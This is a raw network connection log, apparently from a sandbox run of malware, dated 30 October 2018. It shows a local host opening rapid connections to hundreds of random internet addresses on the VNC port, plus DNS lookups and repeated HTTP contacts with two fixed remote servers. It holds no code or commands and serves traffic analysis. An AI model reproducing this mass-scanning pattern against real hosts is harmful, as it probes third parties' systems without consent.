Oct 30, 2018 14:45:02.337374926 CET	51214	5900	192.168.1.81	66.174.66.196
Oct 30, 2018 14:45:02.346148968 CET	5900	51210	193.167.56.72	192.168.1.81
Oct 30, 2018 14:45:02.347347975 CET	51215	5900	192.168.1.81	193.167.56.72
Oct 30, 2018 14:45:02.369266033 CET	51216	5900	192.168.1.81	61.191.179.245
Oct 30, 2018 14:45:02.380918980 CET	51110	5900	192.168.1.81	48.189.78.143
Oct 30, 2018 14:45:02.395086050 CET	5900	51215	193.167.56.72	192.168.1.81
Oct 30, 2018 14:45:02.395308971 CET	51215	5900	192.168.1.81	193.167.56.72
Oct 30, 2018 14:45:02.396548986 CET	51111	5900	192.168.1.81	61.51.15.16
Oct 30, 2018 14:45:02.400469065 CET	51217	5900	192.168.1.81	120.70.87.191
Oct 30, 2018 14:45:02.432410002 CET	51218	5900	192.168.1.81	49.157.49.43
Oct 30, 2018 14:45:02.443228960 CET	5900	51215	193.167.56.72	192.168.1.81
Oct 30, 2018 14:45:02.444060087 CET	51112	5900	192.168.1.81	168.34.186.37
Oct 30, 2018 14:45:02.444860935 CET	51219	5900	192.168.1.81	193.167.56.72
Oct 30, 2018 14:45:02.458409071 CET	5900	51193	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:02.458868980 CET	5900	51193	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:02.459743023 CET	51193	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:02.464809895 CET	51220	5900	192.168.1.81	128.22.167.15
Oct 30, 2018 14:45:02.474566936 CET	51114	5900	192.168.1.81	59.175.40.98
Oct 30, 2018 14:45:02.474664927 CET	51197	5900	192.168.1.81	141.48.101.224
Oct 30, 2018 14:45:02.474718094 CET	51159	5900	192.168.1.81	117.167.154.123
Oct 30, 2018 14:45:02.490053892 CET	51168	5900	192.168.1.81	76.224.105.206
Oct 30, 2018 14:45:02.490102053 CET	51115	5900	192.168.1.81	136.171.48.8
Oct 30, 2018 14:45:02.490236998 CET	5900	51219	193.167.56.72	192.168.1.81
Oct 30, 2018 14:45:02.490313053 CET	51219	5900	192.168.1.81	193.167.56.72
Oct 30, 2018 14:45:02.493383884 CET	51221	5900	192.168.1.81	63.130.222.137
Oct 30, 2018 14:45:02.500154972 CET	5900	51151	186.18.12.17	192.168.1.81
Oct 30, 2018 14:45:02.512315989 CET	5900	51197	141.48.101.224	192.168.1.81
Oct 30, 2018 14:45:02.521342039 CET	51116	5900	192.168.1.81	87.154.176.38
Oct 30, 2018 14:45:02.525537014 CET	51222	5900	192.168.1.81	198.85.176.116
Oct 30, 2018 14:45:02.535949945 CET	5900	51219	193.167.56.72	192.168.1.81
Oct 30, 2018 14:45:02.536679983 CET	51223	5900	192.168.1.81	193.167.56.72
Oct 30, 2018 14:45:02.552936077 CET	51117	5900	192.168.1.81	146.72.186.120
Oct 30, 2018 14:45:02.555799961 CET	51224	5900	192.168.1.81	149.70.81.34
Oct 30, 2018 14:45:02.573237896 CET	5900	51179	191.40.195.231	192.168.1.81
Oct 30, 2018 14:45:02.584320068 CET	51118	5900	192.168.1.81	80.145.159.39
Oct 30, 2018 14:45:02.584408045 CET	5900	51223	193.167.56.72	192.168.1.81
Oct 30, 2018 14:45:02.584495068 CET	51223	5900	192.168.1.81	193.167.56.72
Oct 30, 2018 14:45:02.588114023 CET	51225	5900	192.168.1.81	130.194.91.234
Oct 30, 2018 14:45:02.618053913 CET	51226	5900	192.168.1.81	173.128.203.127
Oct 30, 2018 14:45:02.632440090 CET	5900	51223	193.167.56.72	192.168.1.81
Oct 30, 2018 14:45:02.633127928 CET	51227	5900	192.168.1.81	193.167.56.72
Oct 30, 2018 14:45:02.654397964 CET	5900	51168	76.224.105.206	192.168.1.81
Oct 30, 2018 14:45:02.662823915 CET	5900	51217	120.70.87.191	192.168.1.81
Oct 30, 2018 14:45:02.667454958 CET	51228	5900	192.168.1.81	115.2.54.101
Oct 30, 2018 14:45:02.668431997 CET	55622	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:02.678464890 CET	5900	51227	193.167.56.72	192.168.1.81
Oct 30, 2018 14:45:02.678574085 CET	51227	5900	192.168.1.81	193.167.56.72
Oct 30, 2018 14:45:02.681199074 CET	51229	5900	192.168.1.81	187.109.162.41
Oct 30, 2018 14:45:02.709232092 CET	51119	5900	192.168.1.81	169.88.119.49
Oct 30, 2018 14:45:02.709326982 CET	51120	5900	192.168.1.81	58.132.153.4
Oct 30, 2018 14:45:02.709353924 CET	51121	5900	192.168.1.81	102.64.207.99
Oct 30, 2018 14:45:02.713124037 CET	51230	5900	192.168.1.81	179.248.251.34
Oct 30, 2018 14:45:02.724153996 CET	5900	51227	193.167.56.72	192.168.1.81
Oct 30, 2018 14:45:02.725567102 CET	51231	5900	192.168.1.81	193.167.56.72
Oct 30, 2018 14:45:02.740760088 CET	51172	5900	192.168.1.81	120.209.119.213
Oct 30, 2018 14:45:02.740915060 CET	51122	5900	192.168.1.81	143.190.76.77
Oct 30, 2018 14:45:02.744767904 CET	51232	5900	192.168.1.81	142.212.232.69
Oct 30, 2018 14:45:02.765729904 CET	5900	51193	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:02.766146898 CET	5900	51193	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:02.766309023 CET	5900	51193	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:02.766396999 CET	51193	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:02.766467094 CET	51193	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:02.767383099 CET	51233	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:02.772367001 CET	5900	51231	193.167.56.72	192.168.1.81
Oct 30, 2018 14:45:02.772552013 CET	51231	5900	192.168.1.81	193.167.56.72
Oct 30, 2018 14:45:02.774874926 CET	51234	5900	192.168.1.81	76.76.114.139
Oct 30, 2018 14:45:02.783416033 CET	53	55622	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:02.786578894 CET	51235	80	192.168.1.81	195.22.26.248
Oct 30, 2018 14:45:02.787663937 CET	51123	5900	192.168.1.81	66.35.175.18
Oct 30, 2018 14:45:02.805252075 CET	51124	5900	192.168.1.81	113.175.132.72
Oct 30, 2018 14:45:02.810020924 CET	51236	5900	192.168.1.81	175.143.113.58
Oct 30, 2018 14:45:02.819434881 CET	5900	51231	193.167.56.72	192.168.1.81
Oct 30, 2018 14:45:02.820646048 CET	51237	5900	192.168.1.81	193.167.56.72
Oct 30, 2018 14:45:02.838712931 CET	51238	5900	192.168.1.81	81.227.8.174
Oct 30, 2018 14:45:02.839361906 CET	80	51235	195.22.26.248	192.168.1.81
Oct 30, 2018 14:45:02.839597940 CET	51235	80	192.168.1.81	195.22.26.248
Oct 30, 2018 14:45:02.840859890 CET	51235	80	192.168.1.81	195.22.26.248
Oct 30, 2018 14:45:02.853441000 CET	51125	5900	192.168.1.81	200.97.181.187
Oct 30, 2018 14:45:02.866405010 CET	5900	51237	193.167.56.72	192.168.1.81
Oct 30, 2018 14:45:02.866590023 CET	51237	5900	192.168.1.81	193.167.56.72
Oct 30, 2018 14:45:02.869177103 CET	51239	5900	192.168.1.81	82.148.163.241
Oct 30, 2018 14:45:02.880793095 CET	51126	5900	192.168.1.81	138.74.39.50
Oct 30, 2018 14:45:02.893332005 CET	80	51235	195.22.26.248	192.168.1.81
Oct 30, 2018 14:45:02.896480083 CET	51127	5900	192.168.1.81	45.2.142.136
Oct 30, 2018 14:45:02.896883011 CET	80	51235	195.22.26.248	192.168.1.81
Oct 30, 2018 14:45:02.896927118 CET	80	51235	195.22.26.248	192.168.1.81
Oct 30, 2018 14:45:02.897028923 CET	51235	80	192.168.1.81	195.22.26.248
Oct 30, 2018 14:45:02.905335903 CET	51240	5900	192.168.1.81	63.128.88.59
Oct 30, 2018 14:45:02.906209946 CET	51235	80	192.168.1.81	195.22.26.248
Oct 30, 2018 14:45:02.908451080 CET	51241	80	192.168.1.81	195.22.28.222
Oct 30, 2018 14:45:02.912420034 CET	5900	51237	193.167.56.72	192.168.1.81
Oct 30, 2018 14:45:02.913485050 CET	51242	5900	192.168.1.81	193.167.56.72
Oct 30, 2018 14:45:02.924160004 CET	5900	51225	130.194.91.234	192.168.1.81
Oct 30, 2018 14:45:02.927691936 CET	51128	5900	192.168.1.81	39.135.51.26
Oct 30, 2018 14:45:02.930576086 CET	51243	5900	192.168.1.81	187.18.148.31
Oct 30, 2018 14:45:02.958688021 CET	80	51235	195.22.26.248	192.168.1.81
Oct 30, 2018 14:45:02.958859921 CET	5900	51242	193.167.56.72	192.168.1.81
Oct 30, 2018 14:45:02.958921909 CET	51129	5900	192.168.1.81	136.83.190.223
Oct 30, 2018 14:45:02.959034920 CET	51242	5900	192.168.1.81	193.167.56.72
Oct 30, 2018 14:45:02.961175919 CET	80	51241	195.22.28.222	192.168.1.81
Oct 30, 2018 14:45:02.961303949 CET	51241	80	192.168.1.81	195.22.28.222
Oct 30, 2018 14:45:02.961992025 CET	51241	80	192.168.1.81	195.22.28.222
Oct 30, 2018 14:45:02.963958025 CET	51244	5900	192.168.1.81	193.231.105.21
Oct 30, 2018 14:45:02.964570045 CET	5900	51172	120.209.119.213	192.168.1.81
Oct 30, 2018 14:45:02.987869978 CET	5900	51193	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:02.988040924 CET	51193	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:02.989272118 CET	5900	51233	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:02.989476919 CET	51233	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:02.990314960 CET	51130	5900	192.168.1.81	64.142.51.189
Oct 30, 2018 14:45:02.994698048 CET	51245	5900	192.168.1.81	42.36.251.151
Oct 30, 2018 14:45:03.004508018 CET	5900	51242	193.167.56.72	192.168.1.81
Oct 30, 2018 14:45:03.005700111 CET	51246	5900	192.168.1.81	193.167.56.72
Oct 30, 2018 14:45:03.005980015 CET	51197	5900	192.168.1.81	141.48.101.224
Oct 30, 2018 14:45:03.014292002 CET	80	51241	195.22.28.222	192.168.1.81
Oct 30, 2018 14:45:03.014347076 CET	80	51241	195.22.28.222	192.168.1.81
Oct 30, 2018 14:45:03.014372110 CET	80	51241	195.22.28.222	192.168.1.81
Oct 30, 2018 14:45:03.014477015 CET	51241	80	192.168.1.81	195.22.28.222
Oct 30, 2018 14:45:03.016290903 CET	51241	80	192.168.1.81	195.22.28.222
Oct 30, 2018 14:45:03.021502972 CET	51132	5900	192.168.1.81	87.159.188.4
Oct 30, 2018 14:45:03.028057098 CET	63253	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:03.030637026 CET	51247	5900	192.168.1.81	124.144.78.121
Oct 30, 2018 14:45:03.043946981 CET	5900	51197	141.48.101.224	192.168.1.81
Oct 30, 2018 14:45:03.055670977 CET	51248	5900	192.168.1.81	115.139.120.67
Oct 30, 2018 14:45:03.068558931 CET	80	51241	195.22.28.222	192.168.1.81
Oct 30, 2018 14:45:03.068753958 CET	51133	5900	192.168.1.81	113.123.119.112
Oct 30, 2018 14:45:03.068799973 CET	51179	5900	192.168.1.81	191.40.195.231
Oct 30, 2018 14:45:03.088838100 CET	5900	51236	175.143.113.58	192.168.1.81
Oct 30, 2018 14:45:03.089783907 CET	51249	5900	192.168.1.81	112.114.136.46
Oct 30, 2018 14:45:03.100126982 CET	51134	5900	192.168.1.81	139.251.85.207
Oct 30, 2018 14:45:03.115781069 CET	51135	5900	192.168.1.81	87.37.178.23
Oct 30, 2018 14:45:03.119489908 CET	51250	5900	192.168.1.81	183.2.21.144
Oct 30, 2018 14:45:03.144932032 CET	53	63253	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:03.146517992 CET	51136	5900	192.168.1.81	195.20.231.112
Oct 30, 2018 14:45:03.148896933 CET	51251	80	192.168.1.81	195.22.26.248
Oct 30, 2018 14:45:03.151366949 CET	51252	5900	192.168.1.81	153.89.65.72
Oct 30, 2018 14:45:03.162056923 CET	51217	5900	192.168.1.81	120.70.87.191
Oct 30, 2018 14:45:03.180222988 CET	51253	5900	192.168.1.81	45.150.182.132
Oct 30, 2018 14:45:03.201224089 CET	80	51251	195.22.26.248	192.168.1.81
Oct 30, 2018 14:45:03.201466084 CET	51251	80	192.168.1.81	195.22.26.248
Oct 30, 2018 14:45:03.202328920 CET	51251	80	192.168.1.81	195.22.26.248
Oct 30, 2018 14:45:03.209120035 CET	51137	5900	192.168.1.81	77.3.76.178
Oct 30, 2018 14:45:03.211994886 CET	51254	5900	192.168.1.81	86.73.216.249
Oct 30, 2018 14:45:03.224795103 CET	51138	5900	192.168.1.81	206.27.110.184
Oct 30, 2018 14:45:03.240483046 CET	51139	5900	192.168.1.81	72.148.154.124
Oct 30, 2018 14:45:03.244919062 CET	51255	5900	192.168.1.81	170.27.65.82
Oct 30, 2018 14:45:03.254658937 CET	80	51251	195.22.26.248	192.168.1.81
Oct 30, 2018 14:45:03.256489038 CET	80	51251	195.22.26.248	192.168.1.81
Oct 30, 2018 14:45:03.256534100 CET	80	51251	195.22.26.248	192.168.1.81
Oct 30, 2018 14:45:03.256660938 CET	51251	80	192.168.1.81	195.22.26.248
Oct 30, 2018 14:45:03.262929916 CET	51251	80	192.168.1.81	195.22.26.248
Oct 30, 2018 14:45:03.277232885 CET	51256	5900	192.168.1.81	54.121.51.121
Oct 30, 2018 14:45:03.277910948 CET	5900	51233	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:03.278234005 CET	5900	51233	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:03.278417110 CET	51233	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:03.302628040 CET	51140	5900	192.168.1.81	108.230.98.12
Oct 30, 2018 14:45:03.306062937 CET	51257	5900	192.168.1.81	154.163.160.134
Oct 30, 2018 14:45:03.315397024 CET	80	51251	195.22.26.248	192.168.1.81
Oct 30, 2018 14:45:03.340864897 CET	51258	5900	192.168.1.81	41.88.237.238
Oct 30, 2018 14:45:03.349649906 CET	51141	5900	192.168.1.81	197.25.32.56
Oct 30, 2018 14:45:03.365341902 CET	51142	5900	192.168.1.81	49.29.34.25
Oct 30, 2018 14:45:03.369086027 CET	51259	5900	192.168.1.81	185.23.20.63
Oct 30, 2018 14:45:03.396754026 CET	51143	5900	192.168.1.81	202.121.234.163
Oct 30, 2018 14:45:03.424750090 CET	5900	51217	120.70.87.191	192.168.1.81
Oct 30, 2018 14:45:03.428085089 CET	51225	5900	192.168.1.81	130.194.91.234
Oct 30, 2018 14:45:03.428157091 CET	51145	5900	192.168.1.81	126.21.184.59
Oct 30, 2018 14:45:03.431211948 CET	51260	5900	192.168.1.81	142.199.208.249
Oct 30, 2018 14:45:03.463577032 CET	51261	5900	192.168.1.81	107.7.134.199
Oct 30, 2018 14:45:03.475219965 CET	51146	5900	192.168.1.81	162.84.43.54
Oct 30, 2018 14:45:03.490093946 CET	51147	5900	192.168.1.81	181.14.80.207
Oct 30, 2018 14:45:03.494867086 CET	51262	5900	192.168.1.81	207.168.241.237
Oct 30, 2018 14:45:03.513304949 CET	5900	51179	191.40.195.231	192.168.1.81
Oct 30, 2018 14:45:03.521487951 CET	51148	5900	192.168.1.81	55.27.73.12
Oct 30, 2018 14:45:03.524929047 CET	51263	5900	192.168.1.81	128.98.99.170
Oct 30, 2018 14:45:03.559320927 CET	51264	5900	192.168.1.81	99.136.59.117
Oct 30, 2018 14:45:03.568490028 CET	51149	5900	192.168.1.81	49.239.163.93
Oct 30, 2018 14:45:03.584706068 CET	5900	51233	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:03.585172892 CET	5900	51233	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:03.585228920 CET	5900	51233	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:03.585299015 CET	51233	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:03.585371017 CET	51233	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:03.587481022 CET	51265	5900	192.168.1.81	195.129.31.216
Oct 30, 2018 14:45:03.599878073 CET	51150	5900	192.168.1.81	131.117.14.172
Oct 30, 2018 14:45:03.599925041 CET	51236	5900	192.168.1.81	175.143.113.58
Oct 30, 2018 14:45:03.601774931 CET	51266	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:03.620515108 CET	51267	5900	192.168.1.81	122.225.163.133
Oct 30, 2018 14:45:03.646866083 CET	51152	5900	192.168.1.81	171.27.84.70
Oct 30, 2018 14:45:03.650465965 CET	51268	5900	192.168.1.81	164.249.158.164
Oct 30, 2018 14:45:03.677999020 CET	51153	5900	192.168.1.81	145.158.99.197
Oct 30, 2018 14:45:03.681020021 CET	51269	5900	192.168.1.81	97.181.188.63
Oct 30, 2018 14:45:03.711914062 CET	51270	5900	192.168.1.81	147.15.130.89
Oct 30, 2018 14:45:03.740602970 CET	51155	5900	192.168.1.81	182.254.177.163
Oct 30, 2018 14:45:03.743088007 CET	51271	5900	192.168.1.81	200.254.222.132
Oct 30, 2018 14:45:03.743192911 CET	5900	51225	130.194.91.234	192.168.1.81
Oct 30, 2018 14:45:03.772031069 CET	51156	5900	192.168.1.81	55.242.193.229
Oct 30, 2018 14:45:03.773464918 CET	63342	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:03.779980898 CET	51272	5900	192.168.1.81	52.168.243.18
Oct 30, 2018 14:45:03.802725077 CET	51157	5900	192.168.1.81	52.91.48.198
Oct 30, 2018 14:45:03.805241108 CET	51273	5900	192.168.1.81	118.173.171.35
Oct 30, 2018 14:45:03.808666945 CET	53	63342	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:03.827682018 CET	5900	51266	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:03.827788115 CET	51266	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:03.858232975 CET	51274	5900	192.168.1.81	203.219.214.183
Oct 30, 2018 14:45:03.872066021 CET	5900	51236	175.143.113.58	192.168.1.81
Oct 30, 2018 14:45:03.875051022 CET	51275	5900	192.168.1.81	188.183.221.146
Oct 30, 2018 14:45:03.891993999 CET	5900	51233	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:03.892138958 CET	51233	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:03.899804115 CET	51276	5900	192.168.1.81	34.255.190.123
Oct 30, 2018 14:45:03.912095070 CET	51158	5900	192.168.1.81	51.80.105.74
Oct 30, 2018 14:45:03.912189960 CET	51160	5900	192.168.1.81	45.235.50.219
Oct 30, 2018 14:45:03.931754112 CET	51277	5900	192.168.1.81	63.54.104.60
Oct 30, 2018 14:45:03.961441040 CET	51278	5900	192.168.1.81	86.209.178.234
Oct 30, 2018 14:45:03.995877028 CET	51279	5900	192.168.1.81	149.19.106.84
Oct 30, 2018 14:45:03.998672962 CET	5900	51273	118.173.171.35	192.168.1.81
Oct 30, 2018 14:45:04.006016016 CET	51217	5900	192.168.1.81	120.70.87.191
Oct 30, 2018 14:45:04.006102085 CET	51161	5900	192.168.1.81	47.196.203.135
Oct 30, 2018 14:45:04.006135941 CET	51162	5900	192.168.1.81	190.146.34.41
Oct 30, 2018 14:45:04.006166935 CET	51163	5900	192.168.1.81	63.44.178.6
Oct 30, 2018 14:45:04.006197929 CET	51179	5900	192.168.1.81	191.40.195.231
Oct 30, 2018 14:45:04.018126011 CET	5900	51278	86.209.178.234	192.168.1.81
Oct 30, 2018 14:45:04.026233912 CET	51280	5900	192.168.1.81	65.175.206.22
Oct 30, 2018 14:45:04.052503109 CET	5900	51266	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:04.053034067 CET	51266	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:04.070143938 CET	5900	51144	120.23.229.181	192.168.1.81
Oct 30, 2018 14:45:04.071743965 CET	51281	5900	192.168.1.81	120.23.229.181
Oct 30, 2018 14:45:04.088594913 CET	51282	5900	192.168.1.81	195.92.165.61
Oct 30, 2018 14:45:04.100595951 CET	5900	51279	149.19.106.84	192.168.1.81
Oct 30, 2018 14:45:04.115183115 CET	51164	5900	192.168.1.81	193.242.55.74
Oct 30, 2018 14:45:04.115309954 CET	51165	5900	192.168.1.81	54.47.143.80
Oct 30, 2018 14:45:04.115341902 CET	51166	5900	192.168.1.81	59.108.209.145
Oct 30, 2018 14:45:04.115372896 CET	51167	5900	192.168.1.81	183.198.136.122
Oct 30, 2018 14:45:04.119976997 CET	51283	5900	192.168.1.81	51.176.239.182
Oct 30, 2018 14:45:04.150980949 CET	51284	5900	192.168.1.81	121.216.124.151
Oct 30, 2018 14:45:04.178128004 CET	51169	5900	192.168.1.81	135.113.2.91
Oct 30, 2018 14:45:04.183310032 CET	51285	5900	192.168.1.81	198.98.215.121
Oct 30, 2018 14:45:04.209435940 CET	51170	5900	192.168.1.81	85.157.26.32
Oct 30, 2018 14:45:04.215409040 CET	51286	5900	192.168.1.81	136.69.207.161
Oct 30, 2018 14:45:04.240885973 CET	51171	5900	192.168.1.81	141.31.218.43
Oct 30, 2018 14:45:04.240982056 CET	51225	5900	192.168.1.81	130.194.91.234
Oct 30, 2018 14:45:04.268182993 CET	5900	51217	120.70.87.191	192.168.1.81
Oct 30, 2018 14:45:04.279969931 CET	5900	51266	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:04.280587912 CET	51266	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:04.281241894 CET	51287	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:04.281285048 CET	5900	51266	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:04.281362057 CET	51266	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:04.283559084 CET	51288	5900	192.168.1.81	78.31.12.65
Oct 30, 2018 14:45:04.318262100 CET	51173	5900	192.168.1.81	138.55.223.38
Oct 30, 2018 14:45:04.322597980 CET	49455	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:04.326030016 CET	51289	5900	192.168.1.81	87.212.134.65
Oct 30, 2018 14:45:04.337979078 CET	51290	5900	192.168.1.81	122.250.108.125
Oct 30, 2018 14:45:04.349545956 CET	51174	5900	192.168.1.81	47.146.185.229
Oct 30, 2018 14:45:04.355417013 CET	53	49455	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:04.365222931 CET	51175	5900	192.168.1.81	150.27.40.209
Oct 30, 2018 14:45:04.365292072 CET	51236	5900	192.168.1.81	175.143.113.58
Oct 30, 2018 14:45:04.369888067 CET	51291	5900	192.168.1.81	65.168.28.229
Oct 30, 2018 14:45:04.396605968 CET	51176	5900	192.168.1.81	169.241.50.234
Oct 30, 2018 14:45:04.402319908 CET	5900	51281	120.23.229.181	192.168.1.81
Oct 30, 2018 14:45:04.402549982 CET	51281	5900	192.168.1.81	120.23.229.181
Oct 30, 2018 14:45:04.427937984 CET	51177	5900	192.168.1.81	125.80.47.190
Oct 30, 2018 14:45:04.436013937 CET	51292	5900	192.168.1.81	100.151.31.36
Oct 30, 2018 14:45:04.461606979 CET	51178	5900	192.168.1.81	71.41.26.60
Oct 30, 2018 14:45:04.464819908 CET	51293	5900	192.168.1.81	170.228.102.129
Oct 30, 2018 14:45:04.480518103 CET	5900	51179	191.40.195.231	192.168.1.81
Oct 30, 2018 14:45:04.495253086 CET	51294	5900	192.168.1.81	160.163.207.81
Oct 30, 2018 14:45:04.505760908 CET	51273	5900	192.168.1.81	118.173.171.35
Oct 30, 2018 14:45:04.510853052 CET	5900	51287	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:04.511008978 CET	51287	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:04.521353006 CET	51180	5900	192.168.1.81	164.203.35.8
Oct 30, 2018 14:45:04.521404982 CET	51278	5900	192.168.1.81	86.209.178.234
Oct 30, 2018 14:45:04.524739981 CET	51295	5900	192.168.1.81	116.157.173.133
Oct 30, 2018 14:45:04.552524090 CET	5900	51225	130.194.91.234	192.168.1.81
Oct 30, 2018 14:45:04.555994987 CET	51296	5900	192.168.1.81	130.146.29.139
Oct 30, 2018 14:45:04.568382025 CET	51181	5900	192.168.1.81	209.129.79.24
Oct 30, 2018 14:45:04.577614069 CET	5900	51278	86.209.178.234	192.168.1.81
Oct 30, 2018 14:45:04.584136009 CET	51182	5900	192.168.1.81	98.13.102.16
Oct 30, 2018 14:45:04.589168072 CET	51297	5900	192.168.1.81	97.50.98.241
Oct 30, 2018 14:45:04.615533113 CET	51279	5900	192.168.1.81	149.19.106.84
Oct 30, 2018 14:45:04.615633011 CET	51183	5900	192.168.1.81	157.21.96.107
Oct 30, 2018 14:45:04.645100117 CET	5900	51236	175.143.113.58	192.168.1.81
Oct 30, 2018 14:45:04.646882057 CET	51184	5900	192.168.1.81	42.154.151.227
Oct 30, 2018 14:45:04.654143095 CET	51298	5900	192.168.1.81	178.44.70.251
Oct 30, 2018 14:45:04.678296089 CET	51185	5900	192.168.1.81	102.210.11.212
Oct 30, 2018 14:45:04.684612989 CET	51299	5900	192.168.1.81	61.118.233.144
Oct 30, 2018 14:45:04.697474003 CET	5900	51273	118.173.171.35	192.168.1.81
Oct 30, 2018 14:45:04.709570885 CET	51187	5900	192.168.1.81	128.128.147.183
Oct 30, 2018 14:45:04.713438988 CET	51300	5900	192.168.1.81	195.171.214.246
Oct 30, 2018 14:45:04.719748974 CET	5900	51279	149.19.106.84	192.168.1.81
Oct 30, 2018 14:45:04.740156889 CET	51188	5900	192.168.1.81	162.215.159.56
Oct 30, 2018 14:45:04.745176077 CET	51301	5900	192.168.1.81	198.95.211.48
Oct 30, 2018 14:45:04.765640974 CET	5900	51287	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:04.766063929 CET	51287	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:04.771454096 CET	51189	5900	192.168.1.81	125.29.178.69
Oct 30, 2018 14:45:04.775553942 CET	51302	5900	192.168.1.81	33.93.169.180
Oct 30, 2018 14:45:04.806226015 CET	51303	5900	192.168.1.81	70.5.99.205
Oct 30, 2018 14:45:04.818645954 CET	51191	5900	192.168.1.81	177.98.164.153
Oct 30, 2018 14:45:04.834228992 CET	51192	5900	192.168.1.81	80.173.116.189
Oct 30, 2018 14:45:04.839884996 CET	51304	5900	192.168.1.81	63.2.19.243
Oct 30, 2018 14:45:04.865209103 CET	51194	5900	192.168.1.81	133.231.167.210
Oct 30, 2018 14:45:04.867233038 CET	63041	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:04.870879889 CET	51305	5900	192.168.1.81	160.219.168.238
Oct 30, 2018 14:45:04.896673918 CET	51196	5900	192.168.1.81	117.221.122.78
Oct 30, 2018 14:45:04.900712013 CET	51306	5900	192.168.1.81	189.131.30.105
Oct 30, 2018 14:45:04.936239958 CET	51307	5900	192.168.1.81	207.228.245.178
Oct 30, 2018 14:45:04.958770037 CET	51198	5900	192.168.1.81	37.118.202.177
Oct 30, 2018 14:45:04.962203979 CET	51308	5900	192.168.1.81	44.157.214.79
Oct 30, 2018 14:45:04.988413095 CET	53	63041	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:04.990061998 CET	51200	5900	192.168.1.81	156.133.175.187
Oct 30, 2018 14:45:04.991393089 CET	51309	80	192.168.1.81	195.22.26.248
Oct 30, 2018 14:45:04.994051933 CET	51310	5900	192.168.1.81	177.219.203.44
Oct 30, 2018 14:45:05.021430969 CET	51201	5900	192.168.1.81	152.10.236.210
Oct 30, 2018 14:45:05.024085045 CET	51311	5900	192.168.1.81	136.17.95.5
Oct 30, 2018 14:45:05.030042887 CET	5900	51287	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:05.030189037 CET	51287	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:05.031866074 CET	5900	51287	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:05.031949997 CET	51287	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:05.043958902 CET	80	51309	195.22.26.248	192.168.1.81
Oct 30, 2018 14:45:05.044055939 CET	51309	80	192.168.1.81	195.22.26.248
Oct 30, 2018 14:45:05.044806957 CET	51309	80	192.168.1.81	195.22.26.248
Oct 30, 2018 14:45:05.045525074 CET	51202	5900	192.168.1.81	88.112.53.67
Oct 30, 2018 14:45:05.057358980 CET	51312	5900	192.168.1.81	193.241.34.206
Oct 30, 2018 14:45:05.088840961 CET	51313	5900	192.168.1.81	92.237.92.70
Oct 30, 2018 14:45:05.097222090 CET	80	51309	195.22.26.248	192.168.1.81
Oct 30, 2018 14:45:05.108258963 CET	80	51309	195.22.26.248	192.168.1.81
Oct 30, 2018 14:45:05.108309984 CET	80	51309	195.22.26.248	192.168.1.81
Oct 30, 2018 14:45:05.108351946 CET	51309	80	192.168.1.81	195.22.26.248
Oct 30, 2018 14:45:05.109438896 CET	51309	80	192.168.1.81	195.22.26.248
Oct 30, 2018 14:45:05.114505053 CET	51309	80	192.168.1.81	195.22.26.248
Oct 30, 2018 14:45:05.116120100 CET	51314	80	192.168.1.81	195.22.28.222
Oct 30, 2018 14:45:05.118900061 CET	51315	5900	192.168.1.81	199.34.112.103
Oct 30, 2018 14:45:05.168495893 CET	80	51309	195.22.26.248	192.168.1.81
Oct 30, 2018 14:45:05.168937922 CET	80	51314	195.22.28.222	192.168.1.81
Oct 30, 2018 14:45:05.169054031 CET	51314	80	192.168.1.81	195.22.28.222
Oct 30, 2018 14:45:05.169991970 CET	51314	80	192.168.1.81	195.22.28.222
Oct 30, 2018 14:45:05.177593946 CET	51204	5900	192.168.1.81	61.197.209.252
Oct 30, 2018 14:45:05.177690029 CET	51278	5900	192.168.1.81	86.209.178.234
